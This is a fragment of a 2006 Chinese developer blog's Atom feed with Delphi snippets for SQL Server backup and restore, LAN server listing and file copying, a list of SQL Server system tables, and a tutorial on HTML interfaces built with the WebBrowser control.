;&nbsp;&nbsp;Exit;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Application.MessageBox('1§?2?ú￡?êy?Y±?·Y3é1|','ìáê?',MB_OK&nbsp;+&nbsp;MB_ICONINFORMATION);<BR>&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;procedure&nbsp;TForm1.Button2Click(Sender:&nbsp;TObject);<BR>&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;OpenDialog1.Execute&nbsp;then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;adoconnection1.Connected:=false;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;adoconnection1.ConnectionString:='Provider=SQLOLEDB.1;Persist&nbsp;Security&nbsp;Info=False;User&nbsp;ID=sa;Initial&nbsp;Catalog=master;Data&nbsp;Source=FRIEND-YOFZKSCO;'+<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'Use&nbsp;Procedure&nbsp;for&nbsp;Prepare=1;Auto&nbsp;Translate=True;Packet&nbsp;Size=4096;Workstation&nbsp;ID=FRIEND-YOFZKSCO;Use&nbsp;Encryption&nbsp;for&nbsp;Data=False;Tag&nbsp;with&nbsp;column&nbsp;collation&nbsp;when&nbsp;possible=False';<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;adoconnection1.Connected:=true;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;with&nbsp;adoQuery1&nbsp;do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Close;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SQL.Clear;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SQL.Add('Restore&nbsp;DataBase&nbsp;sfa&nbsp;from&nbsp;disk&nbsp;='''+opendialog1.FileName+'''');<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ExecSQL;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;except<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ShowMessage('???′ê§°ü');<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Exit;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Application.MessageBox('1§?2?ú￡?êy?Y???′3é1|','ìáê?',MB_OK&nbsp;+&nbsp;MB_ICONINFORMATION);<BR>&nbsp;&nbsp;&nbsp;&nbsp;end;<BR><BR><STRONG>(9).查找局域网上的sqlserver报务器。</STRONG></P>
<P>&nbsp;&nbsp;uses&nbsp;Comobj;<BR>&nbsp;&nbsp;&nbsp;&nbsp;procedure&nbsp;TForm1.Button1Click(Sender:&nbsp;TObject);<BR>&nbsp;&nbsp;&nbsp;&nbsp;var<BR>&nbsp;&nbsp;&nbsp;&nbsp;SQLServer:Variant;<BR>&nbsp;&nbsp;&nbsp;&nbsp;ServerList:Variant;<BR>&nbsp;&nbsp;&nbsp;&nbsp;i,nServers:integer;<BR>&nbsp;&nbsp;&nbsp;&nbsp;sRetValue:String;<BR>&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SQLServer&nbsp;:=&nbsp;CreateOleObject('SQLDMO.Application');<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ServerList:=&nbsp;SQLServer.ListAvailableSQLServers;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;nServers:=ServerList.Count;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;i&nbsp;:=&nbsp;1&nbsp;to&nbsp;nservers&nbsp;do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ListBox1.Items.Add(ServerList.Item(i));<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SQLServer:=NULL;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;serverList:=NULL;<BR>&nbsp;&nbsp;&nbsp;&nbsp;end;<BR><BR><STRONG>(10).窗体打开时的淡入效果。&nbsp;</STRONG></P>
<P>&nbsp;procedure&nbsp;TForm1.FormCreate(Sender:&nbsp;TObject);<BR>&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;AnimateWindow&nbsp;(Handle,&nbsp;400,&nbsp;AW_CENTER);<BR>&nbsp;&nbsp;&nbsp;&nbsp;end;<BR><BR><STRONG>(11).动态创建窗体。</STRONG></P>
<P>&nbsp;procedure&nbsp;TForm1.Button1Click(Sender:&nbsp;TObject);<BR>&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;form2:=Tform2.Create(self);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;form2.ShowModal;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;finally<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;form2.Free;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;procedure&nbsp;TForm1.FormClose(Sender:&nbsp;TObject;&nbsp;var&nbsp;Action:&nbsp;TCloseAction);<BR>&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;action:=cafree;<BR>&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;procedure&nbsp;TForm1.FormDestroy(Sender:&nbsp;TObject);<BR>&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;form1:=nil;<BR>&nbsp;&nbsp;&nbsp;&nbsp;end;<BR><BR><STRONG>(12).复制文件。</STRONG></P>
<P>procedure&nbsp;TForm1.Button1Click(Sender:&nbsp;TObject);<BR>&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;copyfileA(pchar('C:\AAA.txt'),pchar('D:\AAA.txt'),false);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;except<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;showmessage('sfdsdf');<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;end;<BR><BR><STRONG>(13).复制文件夹。&nbsp;</STRONG></P>
<P>uses&nbsp;shellAPI;<BR>&nbsp;&nbsp;&nbsp;&nbsp;procedure&nbsp;TForm1.Button1Click(Sender:&nbsp;TObject);<BR>&nbsp;&nbsp;&nbsp;&nbsp;var<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;lpFileOp:&nbsp;TSHFileOpStruct;<BR>&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;with&nbsp;lpFileOp&nbsp;do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Wnd:=Self.Handle;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;wfunc:=FO_COPY;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pFrom:=pchar('C:\AAA');<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pTo:=pchar('D:\AAA');<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fFlags:=FOF_ALLOWUNDO;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hNameMappings:=nil;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;lpszProgressTitle:=nil;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fAnyOperationsAborted:=True;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;SHFileOperation(lpFileOp)&lt;&gt;0&nbsp;then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ShowMessage('删除失败');<BR>&nbsp;&nbsp;&nbsp;&nbsp;end;</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=219" /> 
	  <id>http://www.openx.cn/default.asp?id=219</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[sql server中系统表作用]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-02-22T15:58:15+08:00</updated>
	  <published>2006-02-22T15:58:15+08:00</published>
		  <summary type="html"><![CDATA[sysaltfiles&nbsp;主数据库&nbsp;保存数据库的文件 <BR>syscharsets&nbsp;主数据库&nbsp;字符集与排序顺序 <BR>sysconfigures&nbsp;主数据库&nbsp;配置选项 <BR>syscurconfigs&nbsp;主数据库&nbsp;当前配置选项 <BR>sysdatabases&nbsp;主数据库&nbsp;服务器中的数据库 <BR>syslanguages&nbsp;主数据库&nbsp;语言 <BR>syslogins&nbsp;主数据库&nbsp;登陆帐号信息 <BR>sysoledbusers&nbsp;主数据库&nbsp;链接服务器登陆信息 <BR>sysprocesses&nbsp;主数据库&nbsp;进程 <BR>sysremotelogins主数据库&nbsp;远程登录帐号 <BR>syscolumns&nbsp;每个数据库&nbsp;列 <BR>sysconstrains&nbsp;每个数据库&nbsp;限制 <BR>sysfilegroups&nbsp;每个数据库&nbsp;文件组 <BR>sysfiles&nbsp;每个数据库&nbsp;文件 <BR>sysforeignkeys&nbsp;每个数据库&nbsp;外部关键字 <BR>sysindexs&nbsp;每个数据库&nbsp;索引 <BR>sysmenbers&nbsp;每个数据库&nbsp;角色成员 <BR>sysobjects&nbsp;每个数据库&nbsp;所有数据库对象 <BR>syspermissions&nbsp;每个数据库&nbsp;权限 <BR>systypes&nbsp;每个数据库&nbsp;用户定义数据类型 <BR>sysusers&nbsp;每个数据库&nbsp;用户]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=218" /> 
	  <id>http://www.openx.cn/default.asp?id=218</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[AJAX Desktop (free)]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-02-22T15:06:55+08:00</updated>
	  <published>2006-02-22T15:06:55+08:00</published>
		  <summary type="html"><![CDATA[<P>发现一个 AJAX的应用</P>
<P>&nbsp;<A class=adt id=aw0 onmouseover="return ss('go to www.pageflakes.com','aw0')" onfocus="ss('go to www.pageflakes.com','aw0')" onmouseout=cs() href="http://pagead2.googlesyndication.com/pagead/iclk?sa=l&ai=BMa7JsQr8Q--uErS8igHr0dXYCf2v6RGJ68ybAuXap5gFABABGAEgzp6BAkDsEEiaOVDc-6WSAaoBCjQ1NjczMjc2ODOyAQx3d3cuZGlnZy5jb226AQk3Mjh4OTBfYXPIAQHaARRodHRwOi8vd3d3LmRpZ2cuY29tL5UCD5kiCpgCkgQ&num=1&adurl=http://www.pageflakes.com%3Fsource%3D092e46a1-312c-440f-a114-2c23a893fb2b&client=ca-pub-7489042062340760&nb=1&jca=1952"><STRONG><FONT color=#0033cc size=6>AJAX Desktop (free)</FONT></STRONG></A></P>
<P>地址:<A href="http://www.pageflakes.com">http://www.pageflakes.com</A></P>
<P>&nbsp;</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=217" /> 
	  <id>http://www.openx.cn/default.asp?id=217</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[用WebBrowser实现HTML界面的应用]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-02-16T11:44:45+08:00</updated>
	  <published>2006-02-16T11:44:45+08:00</published>
		  <summary type="html"><![CDATA[<P>HTML的界面有以下特点：图文混排，格式灵活，可以包含Flash、声音和视频等，实现图文声像的多媒体界面，而且易于建立和维护。另外，HTML的显示环境一般机器上都具备，通常不需要安装额外的软件。当然，HTML界面也有它欠缺的方面，即：界面控制能力有限，代码调试不便----虽然DHTML提供了比较强的编程特性，但是比起Delphi的传统的开发语言和工具来，对界面的控制能力，尤其是和数据交互时的控制能力还是稍逊一筹。</P>
<P>了解了这些特点，我们就可以在实际应用开发中，适时地选择HTML技术。下面举个例子：</P>
<P><FONT color=#808080>一种仪器的管理程序，需要显示该仪器的操作方法文档，包含文字和图片，并要求可以隐藏或显示文档，并能安要求打印。</FONT></P>
<P>这个应用中，图文显示、隐藏/显示部分文档、图文打印等需求，都是HTML界面所擅长的，用传统的表单控件实现几乎无法想像。</P>
<P>　</P>
<H3><A><FONT color=#40006b>用什么实现HTML的界面</FONT></A></H3>
<P>用Delphi实现HTML界面的应用主要有两种选择：WebBrowser Control或MSHTML。为了弄清两者如何选择，我们先来看看Internet Exporer 4.0及其后续版本的体系结构：</P>
<P align=center><IMG height=195 src="http://msdn.microsoft.com/workshop/graphics/IE4Arch.gif" width=305 border=0></P>
<P align=left>IE浏览器是建立在SHDOCVW.DLL组件之上的，而SHDOCVW.DLL则建立在MSHTML.DLL组件之上，底层则包括脚本引擎等。SHDOCVW.DLL提供了对活动文档(Active Document)的支持----例如Word等文档可以在IE中显示，并提供导航、in-place*连接、收藏夹、浏览历史和分级内容选择(PICS: Platform for Internet Content Selection)等功能。SHDOCVW.DLL组件虽然也提供了很多接口可以单独使用，但是通常所指的SHDOCVW.DLL就是WebBrowser Control。MSHTML.DLL是实行HTML解析和表现的组件。它通过DHTML对象模型提供对HTML文档的访问。它实现了活动文档服务器接口，可以通过COM接口调用。</P>
<P align=left>不难看出，WebBrowser在比较高的层次上，提供了更为丰富的功能，因此一般通常编程都采用WebBrower控件。MSHTML只有在需要解析HTML这样的特殊应用中，才推荐使用。微软的MSDN网站上提供了一个使用MSHTML的例子：<A href="http://msdn.microsoft.com/downloads/samples/internet/browser/walkall/default.asp"><U><FONT color=#0000ff>WalkAll Sample Source Page</FONT></U></A>。</P>
<P align=left><FONT color=#808080>（*注：In-place链接，是指点击HTML连接时，在相同的WebBrowser实例中显示连接的HTML文档。如果仅使用MSHTML.DLL，点击链接将导致在新的浏览器实例中打开链接的文档。）</FONT></P>
<P align=left>　</P>
<H3><A><FONT color=#40006b>如何访问HTML页面的内容</FONT></A></H3>
<P>首先，在Delphi 7.0组件面板的Internet页上，把TWebBrowser组件放到表单上。</P>
<P>通过执行以下语句装载HTML文档到WebBrowser中进行显示：</P>
<P align=center><FONT color=#000080>WebBrowser1.Navigate(GetCurrentDir + '\index.htm');</FONT></P>
<P>隐藏/显示HTML元件代码示例：</P>
<BLOCKQUOTE>
<BLOCKQUOTE>
<P><B>var</B><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Doc : IHTMLDocument2;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; element: IHTMLElement;<BR>&nbsp;&nbsp;&nbsp; <B>begin</B><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Doc := IHTMLDocument2(WebBrowser1.Document);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <B>if</B> <B>nil</B> &lt;&gt; Doc <B>then</B><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <B>begin</B><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; element := Doc.all.item('<FONT color=#000080>T1</FONT>', 0) <B>as</B> IHTMLElement;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <B>if</B> <B>nil</B> &lt;&gt; element <B>then begin</B><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <B>if</B> '' = element.style.display <B>then</B><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; element.style.display := '<FONT color=#000080>none'</FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <B>else</B><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; element.style.display := '';<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <B>end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp; end;</B></P></BLOCKQUOTE></BLOCKQUOTE>
<P>设置/取值代码示例：</P>
<BLOCKQUOTE>
<BLOCKQUOTE>
<P><B>var</B><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Doc : IHTMLDocument2;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inputText : IHTMLInputTextElement;<BR>&nbsp;&nbsp;&nbsp; <B>begin</B><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Doc := IHTMLDocument2(WebBrowser1.Document);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <B>if</B> <B>nil</B> &lt;&gt; Doc <B>then</B><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <B>begin</B><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT color=#000080><I>//如果T1不是IHTMLInputTextElement类型将出错</I></FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inputText := Doc.all.item('<FONT color=#000080>T1</FONT>', 0) <B>as</B> IHTMLInputTextElement;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inputText.value := Edit1.Text;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Edit2.Text := inputText.value;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <B>end</B>;<BR>&nbsp;&nbsp;&nbsp; <B>end</B>;</P></BLOCKQUOTE></BLOCKQUOTE>
<P><B>提示：</B>关于哪些HTML元件（标记）应该采用什么MSHTML接口进行访问，请参考MSDN Library中的Web Development &gt; Programming and Reusing the Browser &gt; MSHTML Reference &gt; Interfaces and Scripting Objects。</P>
<P>　</P>
<H3><A><FONT color=#40006b>如何调用JavaScript函数（兼谈消息提示框）</FONT></A></H3>
<P>知道了访问HTML内容的方法，就可以通过间接方式调用HTML页面上包含的JavaScript代码。具体实现方式是：在HTML中插入&lt;span&gt;&lt;/span&gt;等不可见元件，利用它的click事件调用响应的JavaScript函数，然后再Delphi中调用该元件的click过程。</P>
<P>下面我们就用Delphi调用JavaScript的alert函数来实现消息提示框。首先在HTML中加入：</P>
<P>&lt;span id="ShowMessage" style="display:none" onclick="alert(this.innerText);"&gt;&lt;/span&gt;</P>
<P>Delphi中的调用代码如下：</P>
<P><B>procedure</B> TForm1.Alert(<B>const</B> Msg : <B>string</B>);<BR>&nbsp;&nbsp;&nbsp; <B>var</B><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Doc : IHTMLDocument2;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Element : IHTMLElement;<BR>&nbsp;&nbsp;&nbsp; <B>begin</B><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Doc := IHTMLDocument2(WebBrowser1.Document);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Assert(<B>nil</B> &lt;&gt; Doc);//一定要先加载HTML<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Element := Doc.all.item('ShowMessage', 0) <B>as</B> IHTMLElement;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <B>if nil</B> &lt;&gt; Element <B>then</B><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <B>begin</B><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Element.innerText := Msg;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Element.click;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <B>end</B>;<BR>&nbsp;&nbsp;&nbsp; <B>end</B>;</P>
<P>我发现在Delphi中用Browser显示HTML，如果你的表单是作为EXE运行，然后嵌入到了别的表单的组件上显示的，例如，Form1.Parent := Form2.Panel1，即Form1显示在Form2中Panel1所占据的位置，当你用ShowMessage显示提示信息时，HTML的内容依然可以被操作，这显然不太好。使用JavaScript中的alert函数则可避免这种现象。</P>
<P>　</P>
<H3><A><FONT color=#40006b>如何禁止右键菜单（如何禁止用户查看源代码）</FONT></A></H3>
<P>默认情况下，在显示HTML的WebBrowser上点击鼠标右键，会显示一个弹出菜单，和IE中看到的一样。通过这个菜单用户可以查看HTML的源代码。因此有时候我们需要屏蔽该菜单。和该菜单相关的接口是IEDocHostUIHandler。已经用人对它进行了封装，详见<A href="http://members.shaw.ca/iedelphi/downloads/source/ieConst.pas"><U><FONT color=#0000ff>ieConst.pas</FONT></U></A> 和 <A href="http://members.shaw.ca/iedelphi/downloads/source/IEDocHostUIHandler.pas"><U><FONT color=#0000ff>IEDocHostUIHandler.pas</FONT></U></A>。使用方法如下：</P>
<P><B>var</B><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Form1: TForm1;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FDocHostUIHandler: TDocHostUIHandler;<BR>&nbsp;&nbsp;&nbsp; ...<BR><BR>&nbsp;&nbsp;&nbsp; <B>implementation</B><BR>&nbsp;&nbsp;&nbsp; ...<BR><BR>&nbsp;&nbsp;&nbsp; <B>procedure</B> TForm1.FormCreate(Sender: TObject);<BR>&nbsp;&nbsp;&nbsp; <B>begin</B><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FDocHostUIHandler := TDocHostUIHandler.Create;<BR>&nbsp;&nbsp;&nbsp; <B>end</B>;<BR><BR>&nbsp;&nbsp;&nbsp; <B>procedure</B> TForm1.FormClose(Sender: TObject; <B>var</B> Action: TCloseAction);<BR>&nbsp;&nbsp;&nbsp; <B>begin</B><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FDocHostUIHandler.Free;<BR>&nbsp;&nbsp;&nbsp; <B>end</B>;<BR><BR>&nbsp;&nbsp;&nbsp; <B>procedure</B> TForm1.WebBrowser1NavigateComplete2(Sender: TObject;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pDisp: IDispatch; <B>var</B> URL: OleVariant);<BR>&nbsp;&nbsp;&nbsp; <B>var</B><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hr: HResult;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CustDoc: ICustomDoc;<BR>&nbsp;&nbsp;&nbsp; <B>begin</B><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hr := WebBrowser1.Document.QueryInterface(ICustomDoc, CustDoc);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <B>if</B> hr = S_OK <B>then</B><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CustDoc.SetUIHandler(FDocHostUIHandler);<BR>&nbsp;&nbsp;&nbsp; <B>end</B>;</P>
<P>有时你可能还需要定制自己的右键菜单，这是还是要借助于IEDocHostUIHandler，具体实现方法可以看看MSDN Library。</P>
<P>　</P>
<H3><A><FONT color=#40006b>如何响应HTML的事件（如何在HTML中调用Delphi的代码）</FONT></A></H3>
<P>HTML事件的响应方式有两种：一种是JavaScript，一种是在Delphi中响应。一些简单的功能可以在JavaScript中实现，这样易于修改。但是从功能、安全性等方面考虑，通常还是要在Delphi中实现。例如当用户点击HTML上的一个按钮时，需要访问数据库，这是就得用Delphi了。</P>
<P>在Delphi中响应HTML事件，实际上就是响应ActiveX事件的问题，这通过事件槽(Event Sink)来实现，有些繁琐。还好前人已经为我们作了很多工作。利用Experts Exchange网站的Cynna封装的TDHTMLEvent类（该源码请看本文的附件），实现就简单多了。实现代码如下：</P>
<P><B>var</B><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Form1: TForm1;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; EventSink: TDHTMLEvent;<BR>&nbsp;&nbsp;&nbsp; ...<BR><BR>&nbsp;&nbsp;&nbsp; <B>implementation</B><BR>&nbsp;&nbsp;&nbsp; ...<BR><BR>&nbsp;&nbsp;&nbsp; <B>procedure</B> TForm1.FormCreate(Sender: TObject);<BR>&nbsp;&nbsp;&nbsp; <B>begin</B><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; EventSink:= TDHTMLEvent.Create;<BR>&nbsp;&nbsp;&nbsp; <B>end</B>;<BR><BR>&nbsp;&nbsp;&nbsp; <B>procedure</B> TForm1.FormClose(Sender: TObject; <B>var</B> Action: TCloseAction);<BR>&nbsp;&nbsp;&nbsp; <B>begin</B><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; EventSink.Free;<BR>&nbsp;&nbsp;&nbsp; <B>end</B>;<BR><BR>&nbsp;&nbsp;&nbsp; <B>procedure</B> TForm1.DemoEventSink(Sender: TObject);<BR>&nbsp;&nbsp;&nbsp; <B>begin</B><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ShowMessage('成功从HTML中调用Delphi的过程。');<BR>&nbsp;&nbsp;&nbsp; <B>end</B>;<BR><BR>&nbsp;&nbsp;&nbsp; <B>procedure</B> TForm1.WebBrowser1DocumentComplete(Sender: TObject;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <B>const</B> pDisp: IDispatch; 